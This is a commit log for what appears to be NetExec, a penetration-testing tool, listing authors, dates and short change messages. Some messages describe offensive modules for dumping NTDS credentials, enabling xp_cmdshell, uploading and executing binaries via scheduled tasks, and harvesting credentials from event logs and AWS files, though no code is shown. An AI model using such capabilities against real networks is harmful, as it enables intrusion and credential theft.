zblurx 71ccfd930d Merge pull request #709 from Pennyw0rth/ldap_checker_removal
Ldap checker removal
2025-05-28 16:04:31 +02:00
Alex 1c1194aa31 Merge pull request #666 from termanix/dc-list
REopen Update --dc-list Now check trusted domains DCs
2025-05-28 16:02:14 +02:00
termanix ed88beebf9 added remove sign to description on enum_trust 2025-05-28 09:56:21 -04:00
termanix 36bdf2fb63 added author to pi 2025-05-28 09:51:13 -04:00
zblurx 155553a749 revert db changes 2025-05-28 15:48:15 +02:00
termanix 48839579e2 Merge branch 'main' into dc-list 2025-05-28 09:43:54 -04:00
Alexander Neff b2fe25ac91 Change domain color on trust enumeration 2025-05-28 09:38:30 -04:00
Alexander Neff fdfafb6f6e Separate domain trusts visually by using succes instead of hightlight 2025-05-28 09:18:37 -04:00
Alexander Neff 87c95a4133 Move int casting to value source 2025-05-28 09:01:18 -04:00
Alexander Neff 23bab54b1c Remove duplicate if list is empty check 2025-05-28 08:37:13 -04:00
Alexander Neff 5456154fa2 Fix trust bits 2025-05-28 08:36:47 -04:00
Alexander Neff 1904ee44ae Simplify logic 2025-05-28 08:17:48 -04:00
Alexander Neff ccd39ff2e3 Fix error handling when resolving the DCs 2025-05-28 08:12:04 -04:00
Alex 1a37573bea Merge pull request #710 from Pennyw0rth/neff-fix-spec
Fix spec file
2025-05-28 14:05:04 +02:00
Alexander Neff a6542cac64 Fix spec file 2025-05-28 07:55:30 -04:00
Alexander Neff f3d5f8df0a Readd ldap-checker module with 'REMOVED' note 2025-05-28 07:21:04 -04:00
Alexander Neff f36c53f34f Formatting 2025-05-28 07:06:47 -04:00
Alexander Neff dd2a053e68 Add debug log statements 2025-05-28 07:06:33 -04:00
Alexander Neff a651678237 Add exception handling if no TLS cert is available 2025-05-28 06:41:32 -04:00
Alexander Neff 8fb63349df Add debug log statements 2025-05-28 06:33:19 -04:00
Alexander Neff 0d87cc573b Update impacket to add the latest changes by zblurx regarding the cbt 2025-05-28 06:29:05 -04:00
Alexander Neff 8fd0e3917d Rename variable to more meaningful name 2025-05-28 06:28:37 -04:00
zblurx 3b0f74fdf6 cleanup the code 2025-05-28 12:12:55 +02:00
zblurx 3fb002c2b7 update poetry lock 2025-05-28 12:08:02 +02:00
zblurx f808948970 update e2e 2025-05-28 11:37:57 +02:00
zblurx 267bd93c42 change colors and add values into db 2025-05-28 11:37:50 +02:00
zblurx 5bbdb70ec9 update cbt check 2025-05-28 10:57:30 +02:00
zblurx f8033d6c64 fix ldap-signing check 2025-05-27 19:14:14 +02:00
zblurx 66642a514f implement the checks from ldap-checker module in core ldap protocol 2025-05-27 19:10:46 +02:00
Alex 3bf9de3f46 Merge pull request #707 from Pennyw0rth/neff-switch-impacket
Switch impacket branch to Pennyw0rth fork
2025-05-27 15:16:14 +02:00
Alexander Neff f61e90b770 Switch impacket branch to Pennyw0rth fork 2025-05-27 09:10:43 -04:00
Alexander Neff 4f2a611d40 Add credits 2025-05-27 08:56:47 -04:00
Alexander Neff 812ceabb70 Hide enumerate admins to --verbose for reducing logs when scanning large ranges 2025-05-27 08:48:48 -04:00
Alexander Neff c62b5fc18b Fix logging bug in change-password 2025-05-27 08:45:28 -04:00
Alexander Neff b2b5c68e1c We must connect to the DC instead of the target because we can only enumerate domain groups on the DC 2025-05-27 08:45:15 -04:00
Alexander Neff 7108e2aa5b Make opsec_safe as we only use native win protocols 2025-05-27 07:42:24 -04:00
Alexander Neff 81a144902f Group users when being in both dom admin and enterprise admin group 2025-05-27 07:42:02 -04:00
Alexander Neff 65bd7aedf9 Remove Administrators group as not found and readd check for dom admin in folders 2025-05-27 07:32:14 -04:00
Alexander Neff 6c9c141885 Skip administrator folder 2025-05-27 07:07:35 -04:00
Alexander Neff a6fa872b3b Switch to user objects instead of multiple lists 2025-05-27 06:59:49 -04:00
Alexander Neff 747df104ff Simplify exception handling 2025-05-27 06:59:11 -04:00
Alex e2f225ad34 Merge branch 'main' into dc-list 2025-05-26 11:44:51 +02:00
Alexander Neff 3b12e1407a Merge branch 'main' into presence 2025-05-25 16:25:42 -04:00
Alex 6a0a985c32 Merge pull request #629 from Pennyw0rth/neff-update-ruff
Update Ruff and Fix Linting
2025-05-25 22:21:46 +02:00
Alexander Neff 3fcb3777db Regenerate lock file 2025-05-25 14:32:49 -04:00
Alexander Neff d0f9b2d9e2 Display proper info when there is no adcs in the domain 2025-05-25 14:25:02 -04:00
Alexander Neff 81e4977324 Fix remove-mic module 2025-05-25 14:21:44 -04:00
Alexander Neff 1b750d8fbc Don't test change-password module otherwise we can't log in anymore... 2025-05-25 14:16:33 -04:00
Alexander Neff 730a4bfded Linting 2025-05-25 13:11:32 -04:00
Alexander Neff 9e1c44bcfb Merge branch 'main' into neff-update-ruff 2025-05-25 13:11:07 -04:00
Alexander Neff 769f82f5e3 Linting 2025-05-25 13:10:28 -04:00
Alexander Neff c91c9dd93b Linting 2025-05-25 13:10:01 -04:00
mpgn b1f0368835 Merge pull request #664 from Pennyw0rth/be
Make nxc compatible with bloodhound-ce zip
2025-05-25 18:55:52 +02:00
mpgn 1afef2fdf5 Merge branch 'main' into be
Signed-off-by: mpgn <[email protected]>
2025-05-25 18:48:44 +02:00
Alexander Neff dd32695096 Update lock file 2025-05-25 12:47:13 -04:00
mpgn 1281b0f296 Merge pull request #671 from Pennyw0rth/fix_host_info 2025-05-25 18:46:59 +02:00
Alexander Neff b73e51c0b7 Merge branch 'main' into neff-update-ruff 2025-05-25 12:46:35 -04:00
Alexander Neff e5d3b66fb3 Add comments 2025-05-25 11:29:02 -04:00
Alexander Neff 70910223b4 Move bloodhound package info function to the helpers 2025-05-25 11:04:29 -04:00
Alexander Neff 09cb12d759 Swap command order, otherwise pipx will complain 2025-05-25 11:02:10 -04:00
Alexander Neff 51dfd5179a Actually as the poetry file now says 'bloodhound-ce' we must uninstall that package 2025-05-25 10:47:07 -04:00
Alexander Neff 962a7ec45c Add info if 'bloodhound' package not found 2025-05-25 10:43:38 -04:00
Alex ff531553ac Merge pull request #706 from Pennyw0rth/neff-improve-eventlog_creds
Improve eventlog_creds
2025-05-25 16:16:16 +02:00
Alexander Neff 614de0b75f Use already existing config object 2025-05-25 10:11:49 -04:00
Alexander Neff c3c487600e Add missing check if config section is missing 2025-05-25 10:10:29 -04:00
Alexander Neff 2c12ab7202 Improve regex match and reduce false positives 2025-05-25 09:48:58 -04:00
Alexander Neff 379641e25c Allow setting the limit to UNLIMITED 2025-05-25 09:48:38 -04:00
Alexander Neff 09ca4c91f4 Implement unlimited querying with MSEven 2025-05-25 09:47:54 -04:00
mpgn 65e6e8cf2e fix poetry lock 2025-05-25 12:21:42 +00:00
mpgn 2164b4c699 Merge branch 'main' into be
Signed-off-by: mpgn <[email protected]>
2025-05-25 14:17:26 +02:00
Alexander Neff ef7e97478e Add missing output variable 2025-05-25 08:14:37 -04:00
Alexander Neff 779f955f0f Exclude Application Data as this creates and infinite recursion on wmi/winrm 2025-05-25 07:45:52 -04:00
Alex ded34e0de2 Merge pull request #705 from Pennyw0rth/neff-fix-badsuccessor
Check for win server 2025 instead of DFL 2025
2025-05-25 13:21:46 +02:00
Alexander Neff e53f1cf378 Now checking for dc with win server 2025 and not functional domain level to be 2025 2025-05-25 07:16:03 -04:00
Alex 5c36c9859f Merge pull request #704 from Pennyw0rth/neff-fix-ldap
Switch LDAP source to fixed version
2025-05-25 13:15:03 +02:00
mpgn 15fb6a3d1f update poetry lock 2025-05-25 11:07:30 +00:00
mpgn 95ca5b437a Merge branch 'main' into be
Signed-off-by: mpgn <[email protected]>
2025-05-25 13:04:29 +02:00
mpgn 7d3dd40912 make bloodhound-ce default 2025-05-25 11:02:38 +00:00
Alexander Neff 263b1df2ae Revert #682 and reenable ldap signing 2025-05-25 06:58:42 -04:00
Alexander Neff 789edeb30a Switch to the fixed ldap signing version from zblurx 2025-05-25 06:57:34 -04:00
Alexander Neff 1280eaf0cb Fix winrm command execution and add missing parameters to ps_execute 2025-05-25 06:54:20 -04:00
Alexander Neff a3889b84f1 Print output line by line 2025-05-25 06:53:56 -04:00
Alexander Neff 70cc90ad11 Merge branch 'main' into aws-credentials 2025-05-24 11:13:58 -04:00
Alex 0befdd064c Merge pull request #703 from Pennyw0rth/neff-fix-logger-port
Fix logging port and also update the port when switching to LDAPS
2025-05-24 17:12:42 +02:00
Alexander Neff a4cf832e9d Remove wmi from executable protocols and remove wmiexec from exec-methods due to bugs 2025-05-24 09:54:47 -04:00
Alexander Neff 5cd7a6c7e8 Fix logging port and also update the port when switching to LDAPS 2025-05-24 09:32:10 -04:00
Alexander Neff 0fe468f39b Add wmi to supported protocols 2025-05-24 09:24:01 -04:00
Alexander Neff 4714664abf Formatting 2025-05-24 08:53:30 -04:00
Alex c8430b661e Merge branch 'main' into aws-credentials 2025-05-24 14:40:37 +02:00
Braiant Giraldo 1431481116 Update aws-credentials.py
Added context.log.highlight() to the module

Signed-off-by: Braiant Giraldo <[email protected]>
2025-05-23 19:31:48 -05:00
mpgn c15faf1623 Merge pull request #702 from Pennyw0rth/badsuccesor
Add Badsuccessor module
2025-05-23 18:10:59 +02:00
Alexander Neff b84d04a448 Make text more precise 2025-05-23 12:07:49 -04:00
Alexander Neff e75512a93c Add domain functional level check 2025-05-23 12:04:19 -04:00
Alexander Neff fb754166e4 Add options text 2025-05-23 11:41:42 -04:00
Alexander Neff dbc3bd335a Formatting 2025-05-23 11:40:58 -04:00
mpgn c09376859e fix ruff 2025-05-23 17:32:04 +02:00
mpgn d1d700243b add module badsuccessor 2025-05-23 17:13:33 +02:00
mpgn 057872cc15 add exam 2025-05-23 17:13:10 +02:00
Alex e6fe63475a Merge pull request #691 from crosscutsaw/ntdsutil-new
update ntdsutil.py to behave like --ntds
2025-05-23 00:01:24 +02:00
Alexander Neff 073abc9652 Remove unused import 2025-05-22 17:58:25 -04:00
Alexander Neff abf9b34ad0 Make use of the filename template in the smb protocol 2025-05-22 17:57:26 -04:00
mpgn 1319fb4fc4 Merge pull request #670 from Pennyw0rth/ldap_fail
Fix ldap simple auth with base object
2025-05-22 22:53:10 +02:00
Alexander Neff 3f38b5fc8c Merge both if statements 2025-05-22 16:43:27 -04:00
Alexander Neff 41b60eb3fc Restrict swapping the scope to when we have an operationsError and scope is None (didn't try with scope=baseObject) 2025-05-22 16:41:36 -04:00
FRE d76127cc09 [WCC] Add check for LLMNR 2025-05-22 15:54:02 +02:00
FRE 698c32f73d [WCC] Ignore KDNIC in NBTNS check 2025-05-22 15:08:56 +02:00
mpgn a9e182770f update code 2025-05-21 14:47:14 +02:00
Alexander Neff b87f525d87 Add the Administrators to checked groups 2025-05-20 18:44:09 -04:00
termanix 500eaa7ca8 enum_trust ruff fixed 2025-05-20 09:08:37 -04:00
termanix a689cd1459 Replaced Reprecated with Removed 2025-05-20 09:05:30 -04:00
termanix c25640c997 Merge branch 'Pennyw0rth:main' into dc-list 2025-05-20 09:02:26 -04:00
Alex 69c1137a3b Merge pull request #699 from Pennyw0rth/NeffIsBack-patch-1 2025-05-20 12:31:27 +02:00
emre e18e69e563 Update ntdsutil.py 2025-05-20 07:26:07 +03:00
Alex ac80cc2a73 Update PULL_REQUEST_TEMPLATE.md
Signed-off-by: Alex <[email protected]>
2025-05-20 01:19:01 +02:00
Alexander Neff d481f55a14 Simplify logic and remove highlight if no admin was found in directories 2025-05-18 20:14:59 -04:00
Alexander Neff b0d34ad7fc Simplify logic 2025-05-18 20:13:21 -04:00
Alexander Neff 2e0443ff8a Remove duplicate initialization 2025-05-18 20:05:24 -04:00
Alexander Neff e2539855a3 Simplify logic 2025-05-18 20:05:10 -04:00
Alexander Neff e08935d31a Simplify logic 2025-05-18 19:59:35 -04:00
Alexander Neff af56d9470c Remove unused function and simplify logic 2025-05-18 19:54:07 -04:00
Alexander Neff fb52fc6dc1 Simplify logic 2025-05-18 19:52:45 -04:00
Alexander Neff a2d4d9319a Simplify logic 2025-05-18 19:49:41 -04:00
Alexander Neff a219e092b8 Get only the default domain and make code shorter 2025-05-18 19:30:20 -04:00
Alexander Neff 01c7752522 Improve readability 2025-05-18 19:29:27 -04:00
Alexander Neff 9be36017b6 Replace .error with .fail and clean up code 2025-05-18 19:02:14 -04:00
Alex d1239445e7 Merge branch 'main' into presence 2025-05-19 00:52:48 +02:00
emre 137f70a84c Update ntdsutil.py 2025-05-19 00:37:43 +03:00
emre c3c4edbe4e Update ntdsutil.py 2025-05-19 00:37:02 +03:00
emre 11458b07f0 ruff fix all 2025-05-19 00:26:02 +03:00
emre c34d00651b ruff fix everything 2025-05-19 00:23:13 +03:00
emre 7e0476d50b Update ntdsutil.py 2025-05-18 20:39:22 +03:00
Alex e721917b8e Merge pull request #695 from Cyb3rC3lt/main
Updated whoami and find-computer modules
2025-05-18 12:50:18 +02:00
Alexander Neff e9d17004d4 Formatting 2025-05-18 06:46:23 -04:00
Alexander Neff c11090e1e6 Remove unnecessary try&except 2025-05-18 06:46:14 -04:00
Alexander Neff d7333e25d9 Add missing import 2025-05-18 06:45:52 -04:00
David Kennedy 07f273f8c4 Reverted size limit to a large number i.e. 999
Signed-off-by: David Kennedy <[email protected]>
2025-05-18 11:15:05 +01:00
Alex 844af809d5 Merge pull request #452 from lodos2005/main
eventlog_creds Module
2025-05-18 12:05:36 +02:00
David Kennedy 460c351228 Updated to use parse_results and import datetime
Signed-off-by: David Kennedy <[email protected]>
2025-05-18 10:38:31 +01:00
emre fce0ed7ade Update presence.py 2025-05-18 09:49:09 +03:00
Alex 7aa6c69039 Merge pull request #696 from Pennyw0rth/neff-fix-winrm-db
Fix winrm database logic
2025-05-17 22:30:34 +02:00
Alex 9f906eaa93 Merge pull request #694 from cyberG33k02/false-negative-fix
fix(ntlm): include server hostname in Workstation field of Authentication
2025-05-17 22:10:39 +02:00
Alexander Neff 07a0ae0aa9 Add database logic for hash login and ensure admin relation is added via queried userid 2025-05-17 15:49:25 -04:00
cyber02 4da19545f6 fix: added reference to issue #694 in NTLM workstation field comment, added the same fix to the hash_login() method 2025-05-17 20:39:30 +01:00
emre 4992c454a3 Update presence.py 2025-05-17 22:02:41 +03:00
siouxchief 92ac8be7da Commit 2025-05-17 11:45:37 +01:00
cyber02 fcb3078476 fix(ntlm): include server hostname in Workstation field of Authenticate message 2025-05-16 23:01:45 +01:00
mpgn f3da3dad00 avoid changing login logic 2025-05-15 23:19:29 +02:00
mpgn ee945fa9b4 fix review 2025-05-15 23:13:23 +02:00
mpgn 2cf004db4f fix review 2025-05-15 23:13:00 +02:00
emre 770cb6ab7e Update ntdsutil.py 2025-05-15 21:26:26 +03:00
Alex 07b4eba6e0 Merge pull request #557 from crosscutsaw/enable_cmdshell
new module: mssql > enable_cmdshell
2025-05-15 20:11:26 +02:00
Alexander Neff 6030c49f54 Specify that it is an MSSQL server 2025-05-15 14:08:17 -04:00
emre 86aac144b5 Update ntdsutil.py 2025-05-15 21:04:23 +03:00
Alexander Neff 1b93d061d9 Rename module link_enable_xp.py to link_enable_cmdshell.py, so that naming scheme is similar to enable_cmdshell 2025-05-15 14:01:26 -04:00
Alexander Neff 30a52aa84f Change .error to .fail to properly use context in logger 2025-05-15 14:00:32 -04:00
Alexander Neff 7cdd1238a2 Formatting and exit when required action is not available 2025-05-15 13:59:42 -04:00
Alex fda6b6a2f4 Merge branch 'main' into enable_cmdshell 2025-05-15 19:16:36 +02:00
Alex 9829b08628 Merge pull request #463 from Dfte/SMB]-Add-the-recyclebin-module
Add option to  --spider and add recyclebin.py module
2025-05-15 19:09:11 +02:00
Alexander Neff 0391e813a7 Linting 2025-05-15 13:06:46 -04:00
Alexander Neff 6cf11e8338 Rename no_print_result to silent in args as well 2025-05-15 13:03:58 -04:00
Alexander Neff d769bc9983 Rename no_print_result to silent and improve readability 2025-05-15 13:01:20 -04:00
Alexander Neff 951ad25d95 Improve readability of the download logic 2025-05-15 12:55:22 -04:00
Alexander Neff dbfb0d8282 Formatting 2025-05-15 12:55:04 -04:00
Alexander Neff 2ec56d1432 Make sure we continue with other users when one user fails 2025-05-15 12:30:19 -04:00
Alexander Neff 6c68d41612 Formatting 2025-05-15 12:29:43 -04:00
Alexander Neff 6d5ce45422 Move remote_ops.finish to end so we have the remoteops available 2025-05-15 12:29:06 -04:00
Alexander Neff 6bee36f2af Formatting 2025-05-15 12:12:55 -04:00
Alex f7f343e0eb Merge branch 'main' into SMB]-Add-the-recyclebin-module 2025-05-15 18:10:37 +02:00
Alexander Neff 6a7871e57e Formatting 2025-05-15 11:56:30 -04:00
Alexander Neff c8849ea062 Fix SyntaxWarnings due to regex 2025-05-15 11:24:03 -04:00
Alex 2b5968f2b6 Merge branch 'main' into main 2025-05-15 17:20:01 +02:00
Alex 4f028ea9b8 Merge pull request #686 from Pennyw0rth/neff-fix-mssql-module
Automatically preserve state of "advanced options" on the target
2025-05-13 19:32:30 +02:00
Alexander Neff 4d8583e443 Remove boilerplate 2025-05-13 13:25:22 -04:00
Alexander Neff 5d3955b6bc Formating 2025-05-13 13:10:59 -04:00
Alexander Neff 859553fb33 Automatically preserve state of "advanced options" on the target 2025-05-13 13:06:40 -04:00
Alex b243ee8748 Merge pull request #682 from Pennyw0rth/neff-ldap-disable-signing 2025-05-10 12:00:00 +02:00
Alex 35c39c1c8e Merge pull request #681 from Pennyw0rth/neff-fix-db-schema
Add a check if the database scheme contains the unique attribute
2025-05-09 17:58:10 +02:00
Alexander Neff 68367ef529 Disable signing in ldap temporarely 2025-05-09 10:33:33 -04:00
Alexander Neff f335cd7654 Formatting 2025-05-09 10:21:20 -04:00
Alexander Neff 94115123f6 Add a check if the database scheme contains the unique attribute 2025-05-09 10:19:21 -04:00
emre 9f9ed93e7f Update presence.py 2025-05-09 01:36:05 +03:00
termanix c87d0c206b integrated enum_trusts 2025-05-07 15:06:44 -04:00
termanix 602498f09c Merge branch 'Pennyw0rth:main' into dc-list 2025-05-07 13:46:56 -04:00
mpgn 413e5eb51a Merge pull request #662 from Pennyw0rth/cleanup
remove old server code unused
2025-05-07 17:16:45 +02:00
Alex 3209e523a5 Merge pull request #677 from Pennyw0rth/neff-fix-ldap-kerb-dom-trust
Fix domain trust with kerberos in ldap
2025-05-07 17:12:20 +02:00
Alexander Neff 7bda89661b Remove unused variable 2025-05-07 11:11:52 -04:00
Alexander Neff abda35be65 Remove on_shutdown in connection.py 2025-05-07 11:09:48 -04:00
Alexander Neff 7cd990f920 Remove old module server stuff 2025-05-07 11:06:32 -04:00
Alexander Neff 4d68843057 Remove on_shutdown from modules 2025-05-07 10:56:47 -04:00
Alexander Neff a12c6422ce Fix domain trust with kerberos in ldap 2025-05-07 10:40:17 -04:00
mpgn 196d9fa6d9 Merge branch 'main' into cleanup 2025-05-07 16:09:37 +02:00
mpgn 5efa2c3299 Update example_module.py
Signed-off-by: mpgn <[email protected]>
2025-05-07 16:09:17 +02:00
mpgn 5b6d00ed90 Update connection.py
Signed-off-by: mpgn <[email protected]>
2025-05-07 16:08:21 +02:00
termanix 7fdca67833 Merge branch 'main' into dc-list 2025-05-05 08:29:05 -04:00
termanix 171c79fde1 Merge branch 'main' into notepad 2025-05-05 08:27:24 -04:00
Alex c19841398f Merge pull request #512 from KriyosArcane/main
New change-password module.
2025-05-04 12:06:31 +02:00
termanix a083405335 Merge branch 'Pennyw0rth:main' into dc-list 2025-05-04 04:07:26 -04:00
FaganAfandiyev f3f27976cf Add e2e_commands.txt tests 2025-05-03 17:33:20 -04:00
Alexander Neff 887ecdd8a7 Refined options examples and formating 2025-05-03 17:26:52 -04:00
Alexander Neff 5f34e563b6 Refactor change-password module to allow set NEWNTHASH 2025-05-03 17:22:05 -04:00
Alex 6aa7d6a114 Merge pull request #668 from Dfte/main
Upgrade the schtask_as module so that we can upload binaries and execute them
2025-05-03 19:22:41 +02:00
Alexander Neff bb36b6d5e6 Only right trim to preserve indentation on certain output 2025-05-03 13:20:08 -04:00
Alexander Neff 362d373c21 Add examples to options and formating 2025-05-03 13:18:28 -04:00
mpgn a47431cbfd fix hostname info if no ntlm 2025-04-29 14:20:16 +02:00
mpgn 3ff6479795 better output 2025-04-29 08:41:09 +02:00
mpgn cc09aefbb9 more simple code 2025-04-29 01:03:17 +02:00
mpgn 2e254396b5 simple update 2025-04-29 00:41:53 +02:00
mpgn 8b2135a7b1 simple update 2025-04-29 00:40:24 +02:00
mpgn 1452068944 simple update 2025-04-29 00:39:37 +02:00
mpgn 9dc029847a fix ldap simple auth 2025-04-29 00:12:19 +02:00
Alex 9890316802 Merge pull request #669 from Pennyw0rth/neff-update-pylnk3 2025-04-28 22:52:57 +02:00
Alexander Neff f3e161597d Update pylnk3 to remove debug print 2025-04-28 15:23:11 -04:00
Aurélien CHALOT 102213771f Upgrade the schtask_as module so that we can upload binaries and then execute them 2025-04-28 14:30:09 +02:00
Alex 6a2874e804 Merge pull request #667 from Pennyw0rth/neff-fix-mssql 2025-04-27 19:56:02 +02:00
Alexander Neff 207b7da461 Fix empty domain string 2025-04-27 13:17:56 -04:00
Alexander Neff 6dcbb02a02 Use process password for kerb login failure 2025-04-27 11:55:27 -04:00
Alexander Neff 6bf72192c4 Formating 2025-04-27 11:53:51 -04:00
Alexander Neff 5e9e06b1a1 Formating 2025-04-27 10:10:10 -04:00
Alexander Neff 17ef18edd0 Formating and logging change 2025-04-27 10:06:05 -04:00
Alexander Neff 0be367b8aa Improve options 2025-04-27 10:05:52 -04:00
Alexander Neff 059d241727 Restrict returning true on STATUS_PASSWORD_MUST_CHANGE to only the module 2025-04-27 10:05:15 -04:00
Alex f5dc9ea8c6 Merge pull request #665 from Pennyw0rth/neff-fix-pfs-win
Fix pfx output path on windows
2025-04-27 14:58:15 +02:00
Alex b35e1956af Don't replace C: in the path 2025-04-27 14:39:26 +02:00
termanix a517be8355 Merge branch 'Pennyw0rth:main' into dc-list 2025-04-27 06:26:38 -04:00
mpgn 47b54c838e fix ruff 2025-04-27 10:19:14 +02:00
mpgn fad24dbb42 Merge branch 'main' into cleanup 2025-04-27 10:18:25 +02:00
mpgn fd86652121 more clean 2025-04-27 10:17:52 +02:00
mpgn 848da44f75 Merge pull request #663 from Pennyw0rth/ippsec_video
Fix bunch of stuff from ippsec and 0xdf writeup for vintage box
2025-04-27 10:13:50 +02:00
termanix b7b454e725 Update ldap.py
Signed-off-by: termanix <[email protected]>
2025-04-27 07:55:47 +03:00
termanix b8dfb52802 took the old branch, it was fixed.
Signed-off-by: termanix <[email protected]>
2025-04-27 07:49:27 +03:00
termanix 981ad11b86 Merge branch 'main' into dc-list
Signed-off-by: termanix <[email protected]>
2025-04-27 00:46:47 -04:00
termanix e993fbd0fc Refactored to enforce direct attribute access, preventing misleading classifications and improving error handling. 2025-04-27 00:36:33 -04:00
termanix c1a0f140e1 Thought, would implement it with netlogon but not have time for now, maybe later lol 2025-04-27 00:36:33 -04:00
Alexander Neff 23769d7755 Remove unnecessary try&except block and display trust domains we are skipping 2025-04-27 00:36:33 -04:00
Alexander Neff bab540d734 Add missing trust_type_text value, ref: MS-ADTS 2025-04-27 00:36:33 -04:00
termanix 3af68e3f9d Now check trusted domains DCs 2025-04-27 00:36:33 -04:00
Alex 9196c3216a Fix pfx output path on windows 2025-04-27 02:03:44 +02:00
Alex c34c581b0f Merge pull request #658 from nikaiw/fix_host_duplicate
Update database.py
2025-04-27 01:35:59 +02:00
Alex e61799ad9c Merge pull request #660 from n00py/patch-1
Added more AV Signatures
2025-04-27 01:35:42 +02:00
mpgn 26588a490e fix ruff 2025-04-27 00:36:30 +02:00
mpgn d016fb61fd make nxc compatible with bloodhound-ce 2025-04-27 00:35:16 +02:00
mpgn 61277c889b fix ruff 2025-04-26 20:44:16 +02:00
mpgn 913a71314f fix a bunch of stuff from vintage box on HTB 2025-04-26 20:43:35 +02:00
mpgn 15d100205b fix ruff 2025-04-26 19:24:19 +02:00
mpgn de4171e11e remove old server code unused 2025-04-26 19:22:13 +02:00
n00py d80c8e0b45 Update enum_av.py
Added a few more signatures for Trend Micro monitoring, one for Rapid7 Insight Agent, and some for Ivanti Security 

Signed-off-by: n00py <[email protected]>
2025-04-25 13:30:26 -06:00
NK 02f4439680 Update database.py
Signed-off-by: NK <[email protected]>
2025-04-25 10:29:55 +02:00
NK c5db5478d1 Update database.py
prevent duplicate host insert

Signed-off-by: NK <[email protected]>
2025-04-24 20:09:25 +02:00
D4ytox d51fc3f095 Fix . missing from classic path 2025-04-20 16:18:29 +01:00
D4ytox 46c16213f9 Remove the use of XDG_DATA_HOME 2025-04-20 15:17:28 +01:00
D4ytox 8deb2f9924 Use nxc as the folder name for XDG_DATA_HOME as well 2025-04-20 15:09:52 +01:00
D4ytox 0abadb062b Make XDG_CONFIG_HOME append nxc afterwards and XDG_DATA_HOME append nxc_data 2025-04-20 15:03:12 +01:00
D4ytox ff1ce969f9 Use XDG_CONFIG_HOME and XDG_DATA_HOME if set by user 2025-04-20 14:49:25 +01:00
Alex 9668cbce36 Merge pull request #650 from moscowchill/fix-windows-log-path-f332071
fix: Refactor output file path construction in SMB protocol
2025-04-20 02:08:29 +02:00
Marshall Hallenbeck bc712c84ef Merge branch 'main' into main 2025-04-19 09:13:52 -04:00
D4ytox 64cce9572f Fix path imports to be grouped with other imports 2025-04-18 15:55:30 +01:00
moscowchill a1a1be66ae Refactor output file path construction in SMB protocol
- Updated the output file template to use os.path.join for improved OS compatibility.
- Enhanced readability by separating base log directory and filename pattern construction.
2025-04-18 07:02:24 -07:00
D4ytox 88997c33a8 Fix ruff findings 2025-04-18 14:37:35 +01:00
D4ytox bf202a23f1 Merge the two import statements together 2025-04-18 14:31:14 +01:00
D4ytox d40a1c84d2 Fix unecessary expand_user in context.py 2025-04-18 14:27:06 +01:00
D4ytox 5fc5922bf2 Use WORKSPACE_DIR in netexec.py 2025-04-18 14:17:32 +01:00
D4ytox 41a9345927 Use CONFIG_PATH in config.py 2025-04-18 14:17:32 +01:00
D4ytox ca7408fd4d Use TMP_PATH in smb.py 2025-04-18 14:17:32 +01:00
D4ytox 95c11aa434 Use NXC_PATH,CONFIG_PATH in context.py 2025-04-18 14:17:32 +01:00
D4ytox 5f25e25d26 Use NXC_PATH in spider_plus.py 2025-04-18 14:17:32 +01:00
D4ytox 4c515414e2 Use NXC_PATH in get_netconnections.py 2025-04-18 14:17:32 +01:00
D4ytox dc00beab39 Use NXC_PATH in enum_dns.py 2025-04-18 14:17:32 +01:00
D4ytox f16616eeb6 Use CONFIG_PATH in database.py 2025-04-18 14:17:32 +01:00
D4ytox 2e50996ae5 Use TMP_PATH in wmiexec.py 2025-04-18 14:17:32 +01:00
D4ytox a3920da302 Use TMP_PATH in mmcexec.py 2025-04-18 14:17:32 +01:00
D4ytox b8d5ede6f5 Use TMP_PATH in atexec.py 2025-04-18 14:17:32 +01:00
D4ytox 0e370152b8 Use NXC_PATH in wmi.py 2025-04-18 14:17:32 +01:00
D4ytox 038fe52e8c Use NXC_PATH in winrm.py 2025-04-18 14:17:32 +01:00
D4ytox 4174dd9313 Use NXC_PATH in vnc.py 2025-04-18 14:17:32 +01:00
D4ytox f295dcf5f5 Use NXC_PATH in rdp.py 2025-04-18 14:17:32 +01:00
D4ytox d6e8cad817 Use NXC_PATH in ldap.py 2025-04-18 14:17:32 +01:00
D4ytox fb7ca1dac0 Use TMP_PATH in keepass_trigger.py 2025-04-18 14:17:32 +01:00
D4ytox 314c3675ef Use NXC_PATH in get-network.py 2025-04-18 14:17:32 +01:00
D4ytox bc12c96492 Use NXC_PATH in protocolloader.py 2025-04-18 14:17:32 +01:00
D4ytox 7d08340d29 Use NXC_PATH in logger.py 2025-04-18 14:17:32 +01:00
D4ytox d814e2cc2c Use NXC_PATH in netexec.py 2025-04-18 14:17:31 +01:00
Alex 024ff0ab03 Merge pull request #645 from bandrel/nfs-fstring-bug
Update nfs.py
2025-04-14 14:58:31 -04:00
Alexander Neff 3ebec370ec Add missing single quotes around slash 2025-04-14 14:50:30 -04:00
Justin Bollinger bead78abae Update nfs.py
fixed syntax error for fstring that was causing it to crash

Signed-off-by: Justin Bollinger <[email protected]>
2025-04-14 13:02:36 -04:00
Alex 5e08f53b72 Merge pull request #644 from Pennyw0rth/neff-fix-binary-workflow
Add missing Pillow package to binary workflow
2025-04-13 16:18:27 +02:00
Alexander Neff 0517c70e0e Add missing Pillow package to binary workflow 2025-04-13 10:13:41 -04:00
Alexander Neff bcf6b37eaf Use context manager for files and improve code 2025-04-03 14:41:55 -04:00
Alexander Neff eb88dc5423 Rename ElementTree to ET for consistency 2025-04-03 14:41:29 -04:00
Alexander Neff a4bdf2b174 Mostly ignore firefox because it will be removed anyway 2025-04-03 14:24:09 -04:00
Alexander Neff 2f63732f00 One liner return values and format strings 2025-04-03 14:23:43 -04:00
Alexander Neff 1520f3cbd4 Remove unnecessary code and format string 2025-04-03 14:02:29 -04:00
Alexander Neff 768a401019 Leaving as is for readability 2025-04-03 14:02:07 -04:00
Alexander Neff 4255cab29d Adding exceptions for false positives 2025-04-03 13:57:22 -04:00
Alexander Neff f386434ce5 Lint daclread 2025-04-03 13:49:54 -04:00
Alexander Neff 67abbf8bf3 Disable RUF052, these are considered private not dummy 2025-04-03 13:38:28 -04:00
Alexander Neff 542452accb Apply C419, removing unnecessary list comprehensions 2025-04-03 13:26:38 -04:00
Alexander Neff bde58c4e56 Apply SIM401, use .get() over 'x if x else y' 2025-04-03 13:19:08 -04:00
Alexander Neff 89233700b6 Disable A004, as it complains about sys.exit which supposes to be superior in programs 2025-04-03 13:16:43 -04:00
Alexander Neff 42538e4c89 Disable false positive 2025-04-03 13:16:13 -04:00
Alexander Neff 52008c1b25 Remove unnecessary cast to int 2025-04-03 12:30:38 -04:00
